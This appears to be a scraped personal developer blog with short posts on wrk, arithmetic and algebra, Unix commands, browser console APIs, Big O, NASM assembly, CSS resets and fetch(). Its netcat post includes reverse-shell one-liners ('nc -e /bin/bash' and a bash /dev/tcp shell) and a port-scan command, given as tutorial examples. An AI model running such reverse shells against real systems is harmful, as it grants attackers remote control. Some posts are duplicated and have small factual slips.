filipe's blog

Benchmarking HTTP Services with wrk

2025-04-16T00:00:00+00:00

Recently I discovered a simple cli tool to performance testing HTTP services, wrk. It’s really good for generating load on a server and measuring how it handles concurrent traffic.

Basic Usage

wrk -t4 -c25 -d5s http://localhost:3000

-t: the number of threads to use
-c: connections/requests
-d: the duration of the test

This command simulates 25 users hitting your endpoint for 5 seconds, using 4 threads.

Custom Headers

Need to send headers like Authorization?

wrk -t2 -c50 -d10s -H "Authorization: Bearer TOKEN" http://localhost:3000

More options

To test POST with a body, you’ll need to use a Lua script:

post.lua

wrk.method = "POST"
wrk.body   = '{"name":"filipelinhares"}'
wrk.headers["Content-Type"] = "application/json"

Then run:

wrk -t2 -c50 -d10s -s post.lua http://localhost:3000/api

A Simple Alternative: `hey`

If you’re looking for something even simpler and easy to install, hey is a great alternative written in Go.

hey -n 100 -c 10 -m POST -H "Content-Type: application/json" -d '{"name": "filipelinhares"}' http://localhost:3000/api

Arithmetic for the Practical Man

2019-02-28T00:00:00+00:00

Concrete and Abstract number If the number is applied to specific counted or measured, things, objects, quantities the number is said to be concrete or sometimes a denominate number.

When number do not apply to those thing they are called abstract numbers.

Glossary

Factor - 2 x 3 = 6 (Here 2 and 3 are factors of 6)
Mantissa - 2.091514977 In this case, the characteristic is 2, and the mantissa is 0.091514977.
Factorial - A number with (!) after it means it is factorial, eg: (3! = 3 x 2 x 1 = 6)

Keywords

sum is simply sum
subtraction
- Minuend
- Subtrahend
- Remainders
multiplication
- Multiplicand
- Multiplier
- Product
division
- Divisor
- Dividend
- Quotient
fractions
- Numerator
- Denominator
root
- Taken or Extracted (the calculation was made) The general operation of a root extraction is called evolution
ratio
series

Fractions

Decimal fractions are the fractions in which the denominator must be 10 or a multiple of 10 like 100, 1000, 10000.

Some division rules

If the last figure of any number is even, the number is divisible by 2
If the lasf figure of any number is 5 or 0, the number is divisible by 5
If the number consisting of the last two figures of any given number is divisible by 4 or by 25, the entire number is divisible by 4 or 25
If the number represented by the last three figures of a given number is divisible by 8, the given number is divisible by 8
If the sum of the separated figures of any number is divisible by 9, the number is divisible by 9
If the sum of the separated figures of any number is divisible by 3, the number is divisible by 3
If any number is divisible by 3 it is divisible by 6

Logarithms

$\log_{6}36 = 2$

[!info] “How many sixes need to be multiplied together to get 36?”

n	2^n
0	1
1	2
2	4
3	8
4	16
5	32
6	64
7	128
8	256
9	512
10	1024
11	2048
12	4096

If any power of 2 is multiplied by any power of 2 number, the result is a power of two whose then the sum of the exponents corresponding to the multiplicand and the multiplier.

Finding the antilog

log₂ 16.
The logarithm base (2) and the logarithm value (16) indicate that 2 raised to what power equals 16.
In this case, 2 raised to the power of 4 equals 16, as 2^4 = 16.
Therefore, the antilog base 2 of log base 2 of 16 (log₂ 16) is 4.

Log can be used to simplify equations, you resolve the equation using the log of the values and then calculate the antilog to get the result.

Multiplication with logs Find the logarithm of each of the factors and add these logarithms. Find the antilog.

Division with logs Find the logarithm of each of the factors and subtract these logarithms. Find the antilog.

Power with logs Find the log of a number, and multiply this log by the exponent. Find the antilog.

Roots with logs Find the log of the number, and divide this log by the root index. The antilog is the result.

Series

First term
Last term1
Number of terms
Common difference
Sum of the series

[!info] If any of three are know the remaining two can be calculated.

Arithmetical Progression

The number which form the series are called terms of the series.
The method which each term is formed from the preceding term is called law of the series.
The number added to each term of the series is called common difference.
If each term in a series is formed by adding a certain number, to the preceding term, the terms of the series said to be in arithmetical progression.

Rules

The last term of an arithmetical progression is equal to the first term (65) plus the product of the common difference (2) by the number of terms (27) -1.
```
 [5, 7, 9, 11, 13, ...].length = 27

 5 + (26 x 2)
 5 + 52
 57
```
The first term of a progression is equal to the last term minus the product of the common difference by the number of terms -1.

if we let a represent the first term, l represent the last term, n the number of terms, and d the common difference, we can express those two rules as follow:

$l = a + [(n - 1) \enspace . \enspace d]$ $a = l - [(n - 1) \enspace . \enspace d]$
The common difference of an arithmetic progression is found by dividing the difference of the extremes by the number of terms less 1.
To find the number of terms in an arithmetical progression, divide the difference of the extremes by the common difference of the progression and to the quotient add 1. $d = (l-a) \div (n-1)$ $n = [(l-a) \div d] + 1$
The sum of the terms of an arithmetical progression is the product of half the number of terms by the sum of the extremes. $S = \frac{1}{2} \times (a + l)$

Geometrical Progression

The number added to each term of the series is called common ratio.
If each term in a series is formed by multiplying a certain number, to the preceding term, the terms of the series said to be in geometrical progression.

Initial term: In a geometric progression, the first number is called the initial term.
Common ratio: The ratio between a term in the sequence and the term before it is called the “common ratio.”
The behavior of a geometric sequence depends on the value of the common ratio. If the common ratio is:
- Positive, the terms will all be the same sign as the initial term.
- Negative, the terms will alternate between positive and negative.
- Greater than 1, there will be exponential growth towards positive or negative infinity (depending on the sign of the initial term).
- 1, the progression is a constant sequence.
- Between -1 and 1 but not zero, there will be exponential decay towards zero.
- -1, the progression is an alternating sequence.
- Less than -1, for the absolute values there is exponential growth towards (unsigned) infinity, due to the alternating sign.

Angles

Angle Measures

60 seconds (´´) = 1 minute (´)
60 minutes = 1 degree (°)
90 degrees = 1 quadrant (quad.)
4 quadrants = 1 circle (⊙)

Latitude and Longitude

Those concepts uses imaginaries line between the globe: ![[Pasted image 20230617051422.png]]

It’s very helpful because you can use it to calculate time and distance as well, for example, one nautic mile is ~1 degree.

Percentage

Rules

To express a decimal fraction in percentage, shift the decimal point two places to the right. Example: .273 = $\frac{273}{1000}$ = $\frac{27.3}{100}$ = 27.3%;
To express a common fraction or ratio in percentage, multiply the numerator by 100 (add two zeros) and divide by the denominator. Example: $\frac{53}{79}$ 5300 $\div$ 79 = 67.1%

Binary

Counting by eight, four and binary:

10	08	04	02
1	1	1	0001
2	2	2	0010
3	3	3	0011
4	4	4	0100
5	5	10	0101
6	6	11	0110
7	7	12	0111
8	8	13	1000
9	10	14	1001
10	11	20	1010

10 = 2 100 = two x two = ($2^{2}$) 1000 = two x two x two = ($2^{3}$) 10_000_000_000 = ($2^{10}$)

Converting a denary to binary

eg 14 = 1110

2 / 14 = 7 (remainder 0) 2 / 07 = 3 (remainder 1) 2 / 03 = 1 (remainder 1) 2 / 01 = 1 (remainder 1)

[!info] The result here is inverted 0111 -> 1110

Converting a binary to denary Starting from the left side:

eg 1110 = 14

0 = 0 1 = 2 1 = 4 1 = 8

Table reference [[#Logarithms]]

14 = 2 + 4 + 8

Addition of binary 11 10 110 100 1100 = 11011

The addition of the right-hand column gives simply 1, write the 1;
The next column is 1+1+1 11, write the 1 and carry the 1;
The next column is 1 (carry) + 1 + 1 + 1 100, write the 0 and carry the 10;
The next column is 10 (carry) + 1 11, write the 1 and carry the 1;
The last entry is 1 (carry) with write the 1.

Subtraction with binary 100 1 11

We cannot subtract 0/1, borrow the left side
1. Borrow 0 is not useful, borrow again 1
2. Now we have 10
3. 10 - 1 = 1

Unix Command - yes

2019-01-28T00:00:00+00:00

The basic usage:

yes

This will flood your terminal with y, to stop it press Ctrl + C.

To customize the output, provide a string:

yes "Hello, world!"

This will continuously print "Hello, world!" on new lines.

Practical Uses of `yes`

Automatically Confirm Prompts

yes | sudo apt-get remove package-name

This will keep the CPU busy by continuously sending output to /dev/null.

Creating Large Files Quickly

Need a large file for testing? Use yes with head:

yes "data" | head -n 100000 > file.txt

This creates a file with a million lines of "data".

Unix commands - nice

2019-01-28T00:00:00+00:00

The nice command allows you to start a process with a specific priority level. In Unix-like systems, process priorities range from -20 (highest priority) to 19 (lowest priority). By default, a process starts with 0.

To start a process with a lower priority (giving other processes more CPU time), use:

nice -n 10 some_command

Here, some_command runs with a niceness of 10, making it less CPU-hungry compared to others.

If you need to increase priority, a negative value can be used:

sudo nice -n -5 some_command

Since only the superuser can decrease niceness (increase priority), you need sudo.

`renice`

If a process is already running, you can change its priority with renice:

renice -n 5 -p 1234

This modifies the priority of the process with PID 1234 to 5.

Daily Unix Command - netcat

2019-01-28T00:00:00+00:00

Below is a set of example snippets demonstrating common netcat (nc) use cases. Each snippet is accompanied by a brief explanation to help you interpret what’s happening.

Establishing a Simple Client–Server Connection

Use Case:
Create a basic two-way communication (like a chat) between two machines.

On the Server (Listener):

# Listen on port 1234 with verbose output
nc -lv 1234

On the Client (Connector):

# Connect to the server at IP 192.168.1.100 on port 1234 with verbose output
nc -v 192.168.1.100 1234

Interpretation:
Once connected, text you type in one terminal appears on the other. This simple setup confirms that a TCP connection is established between the two systems.

Port Scanning

Use Case:
Scan a remote host for open ports. The -z flag tells nc to only check connectivity (zero I/O mode).

Example:

# Scan ports 20 to 80 on the target host (using -n to skip DNS lookups)
nc -zvn 192.168.1.100 20-80

Interpretation:
The command prints messages for each port attempt. Open ports will show a “succeeded” message. (Note: No output may appear for open ports unless you use verbose mode.)

File Transfer

Use Case:
Transfer a file from one system to another over a network.

On the Receiving System:

# Listen on port 4444 and redirect incoming data into a file
nc -lv 4444 > received_file.txt

On the Sending System:

# Send the file to the receiver at IP 192.168.1.100 on port 4444
nc 192.168.1.100 4444 < file_to_send.txt

Interpretation:
The file “file_to_send.txt” is transmitted over the network and saved as “received_file.txt” on the receiver. Confirm with ls -l or by checking the file contents.

Creating a Simple Web Server

Use Case:
Serve a static HTML page using netcat.

Step 1: Create an HTML file (index.html):

<html>
  <head>
    <title>Netcat Web Server</title>
  </head>
  <body>
    <h1>Hello from Netcat!</h1>
    <p>This page is served using netcat.</p>
  </body>
</html>

Step 2: Serve the Page:

# In an infinite loop, listen on port 8080 and send the HTML file
while true; do
  { echo -e "HTTP/1.1 200 OK\r\nContent-Type: text/html\r\n\r\n"; cat index.html; } | nc -lv 8080
done

Interpretation:
Open your browser and navigate to http://<server_IP>:8080 to see the HTML page. The HTTP header is built with echo, then the file is served via nc.

Reverse Shell

Use Case:
Establish a reverse shell to gain remote command-line access.

Warning: Only use this in controlled, ethical testing environments.

On the Attacker’s Machine (Listener):

# Listen on port 5555 with verbose output
nc -lvnp 5555

On the Target Machine (Reverse Shell Initiator):

# Connect back to the attacker's IP (e.g., 192.168.1.100) on port 5555
nc -e /bin/bash 192.168.1.100 5555

Interpretation:
The target machine opens a shell and pipes it to the attacker’s listener, giving the attacker remote command execution.

Note: If the -e option is disabled (common in many netcat versions), you can try the alternative bash reverse shell:
/bin/bash -i >& /dev/tcp/192.168.1.100/5555 0>&1

Unix Command - mkfifo

2019-01-28T00:00:00+00:00

Understanding the mkfifo Command in Linux: Creating Named Pipes for Inter-Process Communication

In Linux, the mkfifo command is used to create named pipes, also known as FIFOs (First In, First Out). These special files enable efficient inter-process communication (IPC) by allowing data to flow between unrelated processes in a unidirectional manner.

What Are Named Pipes (FIFOs)?

Unlike anonymous pipes, which are typically used between related processes and exist only during the execution of the pipeline, named pipes are persistent entities in the filesystem. They appear as regular files and can be accessed by any process with appropriate permissions, facilitating data exchange across different parts of a system.

Creating a Named Pipe with mkfifo

To create a named pipe, you can use the mkfifo command followed by the desired name of the pipe:

mkfifo mypipe

This command creates a FIFO special file named mypipe in the current directory. You can verify its creation by listing the files with detailed information:

ls -l

The output will indicate that mypipe is a named pipe:


prw-r--r-- 1 user user 0 Mar 28 12:00 mypipe

Setting Permissions

By default, mkfifo sets the permissions of the named pipe to 0666, modified by the current umask. To specify different permissions during creation, use the -m option followed by the desired mode:

mkfifo -m 0644 mypipe

Using Named Pipes for Communication

Named pipes are useful for facilitating communication between unrelated processes. For example, one process can write data to the named pipe, and another process can read from it.

Example:

In one terminal window, create a named pipe and write data to it:
```
echo "Hello, World!" > mypipe
```
In another terminal window, read the data from the named pipe:
```
cat < mypipe
```

The second terminal will display “Hello, World!” when it reads from the pipe. The cat command will block until data is available to read from the pipe.

Removing Named Pipes

Once a named pipe is no longer needed, it can be deleted like any regular file using the rm command:

rm mypipe

Unix Command - hexdump

2019-01-28T00:00:00+00:00

The hexdump command is a versatile tool in Unix-like operating systems that allows users to view the contents of files or data streams in a human-readable hexadecimal format. This is particularly useful for inspecting binary files, debugging, or analyzing data structures.

Basic Usage:

To display the contents of a file in a hexadecimal format, you can use:

hexdump filename

This command outputs the file’s contents in a default format, typically showing the offset (address), hexadecimal values, and ASCII characters.

Common Options:

-C: Provides a canonical hex+ASCII display, showing both hexadecimal values and their corresponding ASCII characters side by side.
```
hexdump -C filename
```
Example Output:
```
00000000  48 65 6c 6c 6f 2c 20 77  6f 72 6c 64 21 0a        |Hello, world!.|
0000000e
```
-n length: Interprets only the specified number of bytes from the input.
```
hexdump -n 16 filename
```

This command reads and displays only the first 16 bytes of the file.

-s offset: Skips the specified number of bytes from the beginning before starting to display.
```
hexdump -s 8 filename
```

This skips the first 8 bytes and then begins displaying the content.

-e format_string: Allows for custom formatting of the output.
```
hexdump -e '16/1 "%02x " "\n"' filename
```

This command displays the file’s contents in a continuous hexadecimal string, 16 bytes per line.

Use Cases:

Inspecting Binary Files:

To examine the raw contents of a binary file, hexdump can reveal non-printable characters and data structures.
```
hexdump -C binaryfile
```
Analyzing File Headers:

Many file formats have specific headers. Using hexdump, you can inspect these headers to determine file types or troubleshoot issues.
```
hexdump -n 64 -C filename
```
This displays the first 64 bytes, which often contain header information.
Comparing Files:

By viewing files in hexadecimal, you can spot differences between them, especially when dealing with binary data.
```
hexdump -C file1 > file1.hex
hexdump -C file2 > file2.hex
diff file1.hex file2.hex
```

Additional Tips:

To display the contents of a file without replacing duplicate lines with asterisks (*), use the -v option:
```
hexdump -v filename
```
For a more compact output, displaying only the hexadecimal values without ASCII representation:
```
hexdump -v -e '16/1 "%02x "' filename
```

The hexdump command is a powerful utility for anyone needing to inspect or analyze the raw contents of files. Its flexibility and range of options make it an essential tool for system administrators, developers, and analysts working with binary data.

Unix Command - dig

2019-01-28T00:00:00+00:00

dig is a powerful DNS lookup tool that gives you info about the Domain Name System.

It sends queries to DNS servers and displays the answers it receives. dig is designed to provide organized information about DNS records.

When you run:

dig filipelinhares.com

dig queries the default DNS server for the domain’s A record and displays:

Header Section: Details about the query (flags and status).
Question Section: The query that was sent.
Answer Section: The DNS records returned (like A, AAAA, MX, NS, etc.).
Additional Section: Extra records that provide context (e.g., IP addresses of the nameservers).

dig @8.8.8.8 filipelinhares.com A

; <<>> DiG 9.10.6 <<>> @8.8.8.8 filipelinhares.com A
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 13854
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 512
;; QUESTION SECTION:
;filipelinhares.com.            IN      A

;; ANSWER SECTION:
filipelinhares.com.     600     IN      A       76.76.21.21

;; Query time: 271 msec
;; SERVER: 8.8.8.8#53(8.8.8.8)
;; WHEN: Wed Mar 26 14:12:34 -03 2025
;; MSG SIZE  rcvd: 63

You can also specify the type of DNS record you’re interested in. For example:

dig filipelinhares.com MX

This command retrieves the mail exchange records for the domain.

Script to check if DNS is configured correctly

#!/bin/bash
EXPECTED_IP="93.184.216.34"

RESULT=$(dig +short filipelinhares.com A)

if [[ "$RESULT" == "$EXPECTED_IP" ]]; then
    echo "DNS A record is correctly set to $EXPECTED_IP."
else
    echo "DNS A record mismatch: got $RESULT (expected $EXPECTED_IP)."
fi

Chrome Console API

2019-01-28T00:00:00+00:00

Logs

`console.assert`

const x = 5;
const y = 3;
const reason = 'x is expected to be less than y';

console.assert(x < y, {x, y, reason});

`console.count([label])`

console.count();
console.count('coffee');
console.count();
console.count();

console.countReset();
console.countReset('coffee');

`console.time([label])`

console.time();

for (var i = 0; i < 100000; i++) {
  let square = i ** 2;
}

console.timeEnd();

`console.trace()`

const first = () => { second(); };
const second = () => { third(); };
const third = () => { fourth(); };
const fourth = () => { console.trace(); };

first();

Utilities

_$ Get the last evaluated expression.

`$(), $$(), $x()`

document.querySelector()
document.querySelectorAll()
document.evaluate()

`inspect()`

Open the selected element in Elements panel.

`getEventListeners()`

Returns an object with an array of attached event listeners.

`keys()` and `values()`

Same as Object functions with the same name.

`monitor(function)` and `unmonitor(function)`

When the function specified is called, a message is logged to the console.

function sum(x, y) {  return x + y;}
monitor(sum);

`monitorEvents(object [, events])`

monitorEvents(window, "resize");

monitorEvents(window, ["resize", "scroll"])

Event type	Corresponding mapped events
mouse	“mousedown”, “mouseup”, “click”, “dblclick”, “mousemove”, “mouseover”, “mouseout”, “mousewheel”
key	“keydown”, “keyup”, “keypress”, “textInput”
touch	“touchstart”, “touchmove”, “touchend”, “touchcancel”
control	“resize”, “scroll”, “zoom”, “focus”, “blur”, “select”, “change”, “submit”, “reset”

monitorEvents($0, "key");

`profile([name])` and `profileEnd([name])`

Starts a JavaScript CPU profiling session with an optional name.

Buffers Blobs and Byte Array

2019-01-28T00:00:00+00:00

Buffers

In Node.js, a buffer is a temporary storage for binary data, allowing manipulation and processing of binary data directly. Buffers are instances of the Buffer class and are primarily used for handling raw binary data, such as reading from streams, file operations, network communications, and cryptographic operations. Buffers are mutable and can be resized.

const buffer = Buffer.from('Hello, World!', 'utf-8');
console.log(buffer);

Blobs

Blobs (Binary Large Objects) are used in web browsers and represent raw data that can be of any type, typically used for handling binary data in the context of web APIs like the File API, XMLHttpRequest, and Fetch API. Blobs are immutable, which means once created, their content cannot be modified.

const blob = new Blob(['Hello, World!'], { type: 'text/plain' });
console.log(blob);

ArrayBuffers

ArrayBuffers are another concept used in web browsers, similar to buffers in Node.js, and represent fixed-size binary data buffers. Unlike buffers and blobs, ArrayBuffers are low-level and do not have built-in methods for data manipulation. You need to use TypedArrays, such as Uint8Array, Int16Array, etc., to interact with the data stored in an ArrayBuffer. ArrayBuffers are also immutable once created.

const buffer = new ArrayBuffer(10);
const uint8Array = new Uint8Array(buffer);
console.log(buffer);
console.log(uint8Array);

Chrome Console API

2019-01-28T00:00:00+00:00

Logs

`console.assert`

const x = 5;
const y = 3;
const reason = 'x is expected to be less than y';

console.assert(x < y, {x, y, reason});

`console.count([label])`

console.count();
console.count('coffee');
console.count();
console.count();

console.countReset();
console.countReset('coffee');

`console.time([label])`

console.time();

for (var i = 0; i < 100000; i++) {
  let square = i ** 2;
}

console.timeEnd();

`console.trace()`

const first = () => { second(); };
const second = () => { third(); };
const third = () => { fourth(); };
const fourth = () => { console.trace(); };

first();

Utilities

_$ Get the last evaluated expression.

`$(), $$(), $x()`

document.querySelector()
document.querySelectorAll()
document.evaluate()

`inspect()`

Open the selected element in Elements panel.

`getEventListeners()`

Returns an object with an array of attached event listeners.

`keys()` and `values()`

Same as Object functions with the same name.

`monitor(function)` and `unmonitor(function)`

When the function specified is called, a message is logged to the console.

function sum(x, y) {  return x + y;}
monitor(sum);

`monitorEvents(object [, events])`

monitorEvents(window, "resize");

monitorEvents(window, ["resize", "scroll"])

Event type	Corresponding mapped events
mouse	“mousedown”, “mouseup”, “click”, “dblclick”, “mousemove”, “mouseover”, “mouseout”, “mousewheel”
key	“keydown”, “keyup”, “keypress”, “textInput”
touch	“touchstart”, “touchmove”, “touchend”, “touchcancel”
control	“resize”, “scroll”, “zoom”, “focus”, “blur”, “select”, “change”, “submit”, “reset”

monitorEvents($0, "key");

`profile([name])` and `profileEnd([name])`

Starts a JavaScript CPU profiling session with an optional name.

Buffers Blobs and Byte Array

2019-01-28T00:00:00+00:00

Buffers

const buffer = Buffer.from('Hello, World!', 'utf-8');
console.log(buffer);

Blobs

const blob = new Blob(['Hello, World!'], { type: 'text/plain' });
console.log(blob);

ArrayBuffers

const buffer = new ArrayBuffer(10);
const uint8Array = new Uint8Array(buffer);
console.log(buffer);
console.log(uint8Array);

Bit-shift operator

2019-01-28T00:00:00+00:00

Easier to understand with examples:

# Binary: 00000101
x = 5

# Shift left by 2 positions
y = x << 2

# After shifting left by 2 positions, y will be:
# Binary: 00010100
# Decimal: 20

print(y)  # 20

# Binary: 00010100
x = 20

# Shift right by 2 positions
y = x >> 2

# After shifting right by 2 positions, y will be:
# Binary: 00000101
# Decimal: 5

print(y)  # 5

Big O notation

2019-01-28T00:00:00+00:00

Big O notation is used to describe the time spent by an algorithm to run.

$O(1)$ - Constant time

const x = 10
printf("Lorem ipsum")

$O(log(n))$ - Log time

for(int i = 1; i <= n; i = i * 2)
  print "hello";

Notice the post operation of the for loop multiples the current value of i by 2, so i goes from 1 to 2 to 4 to 8 to 16 to 32…

for(double i = 1; i < n; i = i * 1.02)
  print "hello";

As long as the number is greater than 1 and the result is repeatedly multiplied against itself (i = i * 1.02), that you are looking at a logarithmic algorithm.

$O(n)$ Linear time

for(int i = 0; i < n; i++)
  print "hello";

$O(n*log(n))$ nlog(n)

Think of this as a combination of O(log(n)) and O(n). The nesting of the for loops help us obtain the O(n*log(n))

for(int i = 0; i < n; i++)
  for(int j = 1; j < n; j = j * 2)
    print "hello";

$O(n^2)$ - n squared

for(int i = 0; i < n; i++)
  for(int j = 0; j < n; j++)
    print "hello";

Is obtained easily by nesting standard for loops.

$O(2^n)$ - exponential time example

When the algorithm specifies a growth rate that doubles every time the input data set is added.

const recursiveFibonacci = (n) => {
  if (n < 2) {
    return n;
  }
  return recursiveFibonacci(n - 1) + recursiveFibonacci(n - 2);
};

console.log(recursiveFibonacci(6)); // 8

$O(n!)$ - factorial time

For example, the factorial of 5, or 5!, is:

5 * 4 * 3 * 2 * 1 = 120

We will find ourselves writing algorithms with factorial time complexity when calculating permutations and combinations.

Those are basically NP problems (Nondeterministic Polynomial).

Assembly x86 NASM and Registers

2019-01-28T00:00:00+00:00

The processor has many register that are used to perform different operations. Bellow is a list with the processor register (prefixed with %) and the operation corresponding to the data inside of it.

NR	syscall name	references	%eax	arg0 (%ebx)	arg1 (%ecx)	arg2 (%edx)	arg3 (%esi)	arg4 (%edi)	arg5 (%ebp)
0	restart_syscall	man/ cs/	0x00	-	-	-	-	-	-
1	exit	man/ cs/	0x01	int error_code	-	-	-	-	-
2	fork	man/ cs/	0x02	-	-	-	-	-	-
3	read	man/ cs/	0x03	unsigned int fd	char *buf	size_t count	-	-	-

Here is a simple Assembly

section .data
    hello db 'Hello, World!', 0

section .text
    global _start

_start:
    ; write system call
    mov eax, 4           ; system call number for write
    mov ebx, 1           ; file descriptor (stdout)
    mov ecx, hello       ; message to write
    mov edx, 13          ; message length
    int 0x80             ; invoke the kernel

    ; exit system call
    mov eax, 1           ; system call number for exit
    xor ebx, ebx         ; exit status (0)
    int 0x80             ; invoke the kernel

Data Section The data section, also known as the “.data” section, is used to declare and allocate memory for initialized data values. This section is typically used for storing static variables, strings, arrays, and other data that have predefined values.

The db directive stands for “define byte” and is used to allocate memory for individual bytes. It allows you to declare and initialize byte-sized data values.

Algebra for the Practical Man

2019-01-28T00:00:00+00:00

Simplify Equations

When simplifying an equation organize them in alphabetical order with the exponent in descending order. If any conflict is set use the exponent as a rule of thumb to order the equation.

Multiplying

Monomials When multiplying monomials.

If multiplying by symbol or literal numbers, the coefficients never change and only the letters are multiplied. $a \times (-3b^4) = -3ab^4$

If both terms has numerical coefficients, multiply both than multiply the literal part like the previous one: $(4x) . (7y^2) = 28xy^2$

When multiplying numbers with exponent, just sum the original exponents: $(4x^2) . (7x^2) = 28x^4$

Polynomial

\[4(5-2) = 4 \times 3 = 12\] \[(4.2) - (4.5) = 4 \times 3 = 12\]

The product of any two polynomials is found by multiplying each term of one by each term of the other and adding the result:

\[(2a + c)(x - 3y + 5d) = 2ax - 6ay + 10ad + cx - 3cy + 5cd\]

The square of the SUM of two terms is the sum of their separate squares PLUS twice their product, and the square of the difference of two terms is the sum of their square MINUS twice their product.

\[(x + y)^2 = x^2 + y^2 + 2xy\] \[(x - y)^2 = x^2 + y^2 - 2xy\]

The product of the sum and difference of two terms is equals the difference of their squares.

\[(x+y)(x-y) = x^2 - y^2\]

Dividing

Monomials To find the quotient of two monomials, divide coefficients, cancel commmon literal factors. If the same letter with different exponent appear, take the difference of the exponent.

\[\frac{18x^2y^6z}{6x^6y^2} = \frac{3y^4}{x^4}\]

Polynomials To divide polynomials is used an algorithm called Long Division.

Step 1: Divide the first term of the dividend (6x3) by the first term of the divisor (x2), and put that as the first term in the quotient (6x).
Step 2: Multiply the divisor by that answer, place the product (6x3 + 24x2 + 18x) below the dividend.
Step 3: Subtract to create a new polynomial (-12x2 - 16x + 25).
Step 4: Repeat the same process with the new polynomial obtained after subtraction.

Exponents laws

\[a^m \times a^n = a^{m+n}\]
\[\frac{a^m}{a^n} = a^{m-n}\]
\[(a^n)^m = a^{m.n}\]
\[(ab)^m = a^m b^m\]
\[(\frac{a}{b})^m = \frac{a^m}{b^m}\]
\[a^0 = 1\]
\[\frac{1}{a^{-n}} = a^n\]
\[a^{1/m} = \sqrt[m]{a}\]
\[(\sqrt[n]{a})^m = \sqrt[n]{a^m}\]
\[a^{m/n} = \sqrt[n]{a^m}\]
\[\sqrt[n]{ab} = \sqrt[n]{a} \times \sqrt[n]{b}\]
\[\sqrt[n]{\frac{a}{b}} = \frac{\sqrt[n]{a}}{\sqrt[n]{b}}\]

Equations

An equation is said to be a conditional equation or equation of condition when it fulfills or satisfies the condition expressed, eg:

\[4x + 1 = 8x - 7$ when $x = 2\]

The two parts of the equation that are connected by the equal sign are called members of the equation.

Rules

Any term of an equation can be transposed to the opposite member changing their sign.
Transpose the equation so that all terms which contain the unknow quantity are in the first member and all other terms are in the second member.
The begin of the alphabet is used to describe know variables, as ($a, b, c$) and the ending of the alphabet to describe unknow variables, as ($x, y$).

An equation of any degree is said to be solved when a value of the unknow is found which satisfies the equation. Quadratic equations and beyond can have more than one solution.

Exponential equations is when you have an unknow value as exponent.

Good links:

https://algebrarules.com

CSS resets - ress.css

2016-07-03T00:00:00+00:00

Para o estilo padrão dos nossos elementos HTML, ter que lidar com a diferente implementação de cada navegador é algo bem complicado.

Ao longo do tempo lidamos com isso de diferentes formas:

A forma mais básica é remover margin e padding:

* {
  margin: 0;
  padding: 0;
}

Uma solução moderna

Hoje em dia, temos algumas soluções que ficaram mais populares. Existe o Normalize.css, o qual não é considerado um reset, pois o que ele faz é:

Garantir que o estilo aplicado pelos diferentes navegadores seja o mesmo.

O que isso quer dizer?

Vejamos esse exemplo do que o Normalize faz para normalizar o h1 no Chrome:

O elemento h1, por padrão no Chrome, tem esse estilo:

h1 {
  display: block;
  font-size: 2em;
  -webkit-margin-before: 0.67em;
  -webkit-margin-after: 0.67em;
  -webkit-margin-start: 0px;
  -webkit-margin-end: 0px;
  font-weight: bold;
}

Porém, quando o h1 está dentro de uma section, article, aside ou nav, esses valores são modificados pelo CSS default do chrome:

:-webkit-any(article, aside, nav, section) h1 {
  font-size: 1.5em;
  -webkit-margin-before: 0.83em;
  -webkit-margin-after: 0.83em;
}

O que o normalize faz não é zerar esses valores, e sim garantir que o h1 tenha sempre os mesmos valores independente do contexto:

h1 {
  font-size: 2em;
  margin: 0.67em 0;
}

Há algum tempo atrás, eu encontrei um projeto de um dos co-autores do Normalize, chamado sanitize:

Render elements consistently. Style with best practices

Ele tem o mesmo objetivo do Normalize: servir como base para o CSS. O sanitize, ao contrário do Normalize, também aplicava alguns resets que eu acho essenciais, como, por exemplo, box-sizing e margin e padding.

Logo comecei a utilizar o sanitize no lugar do Normalize, então, nesse momento, começou a aparecer alguns problemas. O Normalize é muito mais completo quando se trata em concertar bugs entre os navegadores, já o sanitize nem tanto, porem, esse último aplicava um ótimo reset. Então, eu forkei o sanitize e fiz um merge entre os projetos, criando assim o sanilize.css.

sanilize.css

O sanilize.css foi um projeto que eu mantive por um bom tempo. Ele era nada mais que um merge entre o Normalize e o sanitize, removendo propriedades duplicadas e mantendo somente o que fazia sentido.

Eu estava usando o sanilize em todos os projeto e ele se mostrava muito útil, juntando o que tinha de melhor nos dois.

No dia 18 de abril, os planos para a versão 4 do sanitize.css foram anunciados. Eles removeram o reset de margin *e padding, *entre outros, que eu achava muito útil. Já não fazia mais sentido eu manter o sanilize como sendo um merge. Era hora de refatorar :D

ress

O ress surgiu depois que o sanitize 4.0.0 foi lançado. Reescrevi todo o código do sanilize e, então, renomeei o projeto para ress.

ress é um reset CSS moderno.

O objetivo é garantir que coisas bobas, mas importantes do dia-a-dia, não sejam um trabalho necessário em todo novo projeto, assim como definir o resize do text area seja somente vertical ou ficar resetando estilo de botões.

ress features

As features do ress foram retiradas dos problemas que eu encontro mais frequentemente enquanto estou desenvolvendo.

Aplica box-sizing: border-box; em todos os elementos.
Zera padding e margin em todos os elementos.
background-repeat: no-repeat por padrão em todos os elementos.
Herda text-decoration e vertical-align para ::before e ::after.
Remove outline de todos os elementos no hover (ainda mantido no focus).
Aplica font-family: monospace para elementos de código.
Zera border-radius em todos os input elements.
Herda as propriedades de font nos elementos de formulários.
Remove o estilo padrão de botões em todos os navegadores.
Aplica resize vertical para textarea.

Além disso, o ress utiliza um subset do normalize para garantir que “bugs reais” sejam corrigidos.

Porque utilizar o ress e não o Normalize?

O resultado dos seus elementos com o ress é um HTML bem crú, todos os elementos precisam ser estilizados.

Com o normalize, você pode simplesmente usar ele e tudo já terá uma cara de “padrão do navegador”, com espaçamento em títulos e botões com um estilo básico.

O código do ress está muito bem documentado. Se você tiver um tempinho livre, vale a pena dar uma olhada. Qualquer dúvida ou sugestão para o projeto, você pode contribuir pelo Github.

O básico sobre fetch()

2016-03-21T00:00:00+00:00

Fetch, permite fazer request da mesma forma como era feito antigamente com o XMLHttpRequest. Uma das diferenças é que ele utiliza Promisses, o que gera uma API limpa e simples.

Request básico

Fetch recebe dois parâmetros, um sendo a url, e o outro as opções:

fetch('/site/url')
  .then(function(response) { // Resposta })
  .catch(function(err) { // Errou! });

Se você usar es6 fica ainda mais bonito:

fetch("/site/url")
  .then((response) => console.log(response))
  .catch((err) => console.log("Errou!"));

Lidando com JSON

Se você for usar JSON, o parâmetro do callback tem um método chamado .json(), que ira transformar sua resposta em um objeto javascript:

fetch("/site/url/json")
